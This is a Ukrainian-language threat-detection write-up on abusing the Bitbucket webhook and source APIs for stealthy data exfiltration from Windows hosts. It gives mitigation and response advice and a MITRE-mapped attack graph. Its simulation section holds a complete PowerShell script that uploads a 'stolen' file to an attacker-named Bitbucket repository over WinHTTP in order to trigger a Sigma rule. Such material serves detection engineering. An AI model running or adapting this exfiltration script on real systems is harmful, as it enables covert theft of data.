Зловживання API Bitbucket: Простий трюк для непомітного викрадення даних
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Цей доказ концепції показує, як невелика програма на C може зловживати API вебхуків Bitbucket, щоб ексфільтрувати телеметрію зламаного Windows-системи. Вона збирає такі деталі, як ім’я хоста, версія ОС, інформація про процесор та дані мережевого адаптера, потім ховає вихідні дані в поле опису щойно створеного вебхука, непомітно вливаючись у звичайний хмарний трафік.
Розслідування
Автор ділиться повним вихідним кодом, кроками складання та прикладами запитів curl для створення, перевірки та видалення вебхука, який використовується для повного ексфільтрації. Скомпільований бінарний файл було виконано на хості Windows 10 x64 22H2 у пісочниці ANY.RUN і передав дані без явних попереджень. В описі також згадується подібне зловживання Git-платформою, задокументоване в нещодавній діяльності APT.
Пом’якшення
Моніторте вихідний HTTPS до Bitbucket та інших хостів коду, і сигналізуйте дзвінки API, які несподівано створюють вебхуки або містять дивний текст опису. Вимагайте сильної аутентифікації, обмежуйте та критично встановлюйте токени API, застосовуйте принцип найменших привілеїв і регулярно перевіряйте зміни конфігурації репозиторію.
Реакція
Після виявлення блокуйте вихідний трафік Bitbucket з хоста, відкликайте скомпрометовані токени API та інвентаризуйте вебхуки в репозиторіях, щоб видалити шкідливі записи. Збирайте артефакти з кінцевих точок для судової експертизи, скануйте на наявність подальших навантажень і змініть облікові дані для облікових записів CI/CD та розробників.
"graph TB %% Класи визначень classDef technique заповнювати:#ffcccc classDef tool заповнювати:#cce5ff classDef action заповнювати:#d5f5d6 %% Вузли action_collect["<b>Дія</b> – Збір системної інформації"] class action_collect action tech_sysinfo["<b>Техніка</b> – <b>T1082 Виявлення системної інформації</b><br/><b>Опис</b>: Збирає деталі про хост, такі як ім’я комп’ютера, версія ОС, архітектура процесора, кількість процесорів, логічні диски та IP-адреси."] class tech_sysinfo technique tool_bitbucket["<b>Інструмент</b> – REST API Bitbucket Cloud<br/><b>Метод</b>: POST з ім’ям користувача: Base64 закодованим APIu2011токеном"] class tool_bitbucket tool tech_webservice["<b>Техніка</b> – <b>T1102.002 Веб-служба: Двосторонній зв’язок</b><br/><b>Опис</b>: Використовує законний API веб-служби для надсилання та отримання даних."] class tech_webservice technique tech_exfil_repo["<b>Техніка</b> – <b>T1567.001 Виток через Веб-сервіс: Виток до Кодового Репозиторію</b><br/><b>Опис</b>: Завантажує зібрані дані в репозиторій, що розміщує код, через API сервісу."] class tech_exfil_repo technique tech_exfil_webhook["<b>Техніка</b> – <b>T1567.004 Виток через Веб-сервіс: Виток через Вебхук</b><br/><b>Опис</b>: Надсилає дані через налаштований вебхук, щоб вивести інформацію з оточення."] class tech_exfil_webhook technique tech_obfuscation["<b>Техніка</b> – <b>T1001.003 Маскування Даних: Імітація Протоколу або Сервісу</b><br/><b>Опис</b>: Маскує шкідливий трафік як звичайні дзвінки API до надійного сервісу."] class tech_obfuscation technique %% Зв’язки action_collect –>|використовує| tech_sysinfo tech_sysinfo –>|надає дані до| tool_bitbucket tool_bitbucket –>|використовує| tech_webservice tool_bitbucket –>|створює вебхук для| tech_exfil_repo tool_bitbucket –>|створює вебхук для| tech_exfil_webhook tech_webservice –>|маскується за допомогою| tech_obfuscation tech_exfil_repo –>|експілтрує дані через| tech_obfuscation tech_exfil_webhook –>|експілтрує дані через| tech_obfuscation "
Потік Атаки
Виконання Симуляції
Передумова: Телеметрія та Перевірка Підготовки мають пройти успішно.
Обґрунтування: Цей розділ детально описує точне виконання техніки супротивника (TTP), розробленої для спрацювання правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати ідентифіковані TTP та прагнути створити точну телеметрію, очікувану логікою виявлення.
-
Опис Атаки та Команди:
Емуляційний супротивник отримав невеликий набір даних (наприклад,C:tempstolen.txt) і бажає ексфільтрувати його до приватного репозиторію Bitbucket, не викликавши підозру. Щоб злитися з легітимними інструментами розробки, нападник обирає рідний об’єкт COM WinHTTP (WinHttp.WinHttpRequest.5.1), оскільки він зазвичай є на системах Windows і безпосередньо викликає функціїWinHttpConnectandWinHttpSendRequest, які правило виявлення спостерігає.- Створіть тимчасовий файл, що містить підроблені ексфільтраційні дані.
- Інстанціюйте COM об’єкт WinHTTP.
- Відкрийте POST-з’єднання до
https://api.bitbucket.org/2.0/repositories/<team>/<repo>/src. - Установіть відповідні заголовки (
Authorization: Basic …,Content-Type: multipart/form-data). - Надішліть вміст файлу.
- Перевірте відповідь HTTP 200.
Ця точна послідовність змушує Sysmon записувати подію
NetworkConnect, де процес ispowershell.exeі функція ланцюг включаєWinHttpConnectandWinHttpSendRequest, що відповідає правилу Sigma. -
Скрипт Тестування Регресії:
# -------------------------------------------------------------- # Ексфільтрація API Bitbucket через WinHTTP (Спрацювання правила Sigma) # -------------------------------------------------------------- $tempFile = "C:tempstolen.txt" $repoOwner = "evilcorp" $repoName = "leaked-data" $username = "eviluser" $appPassword = "APPPASSWD" # Base64 of "username:appPassword" $authHeader = "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("$username:$appPassword")) # 1. Створіть підроблені дані, якщо вони не присутні if (-not (Test-Path $tempFile)) { "Чутлива інформація, зібрана супротивником" | Set-Content -Path $tempFile -Encoding UTF8 } # 2. Створіть навантаження multipart/form-data $boundary = "----WebKitFormBoundary$(Get-Random -Maximum 999999)" $body = @" --$boundary Content-Disposition: form-data; name="files"; filename="$(Split-Path $tempFile -Leaf)" Content-Type: application/octet-stream
$(Get-Content $tempFile -Raw) –$boundary– “@
# 3. Ініціалізуйте COM об'єкт WinHTTP
$winHttp = New-Object -ComObject "WinHttp.WinHttpRequest.5.1"
# 4. Відкрийте запит POST
$url = "https://api.bitbucket.org/2.0/repositories/$repoOwner/$repoName/src"
$winHttp.Open("POST", $url, $false) # синхронний запит
# 5. Установіть необхідні заголовки
$winHttp.SetRequestHeader("Authorization", $authHeader)
$winHttp.SetRequestHeader("Content-Type", "multipart/form-data; boundary=$boundary")
$winHttp.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
# 6. Надішліть навантаження (це викликає WinHttpConnect + WinHttpSendRequest)
$winHttp.Send($body)
# 7. Виберіть статус відповіді для перевірки
Write-Host "HTTP Status:" $winHttp.Status
Write-Host "Response Body:" $winHttp.ResponseText
-
Команди Очищення:
# Видаліть тимчасовий файл Remove-Item -Path "C:tempstolen.txt" -Force -ErrorAction SilentlyContinue # За бажанням відкличте пароль Bitbucket app вручну через веб-інтерфейс Write-Host "Очищення завершено. Не забудьте видалити завантажений файл з репозиторію, якщо потрібно."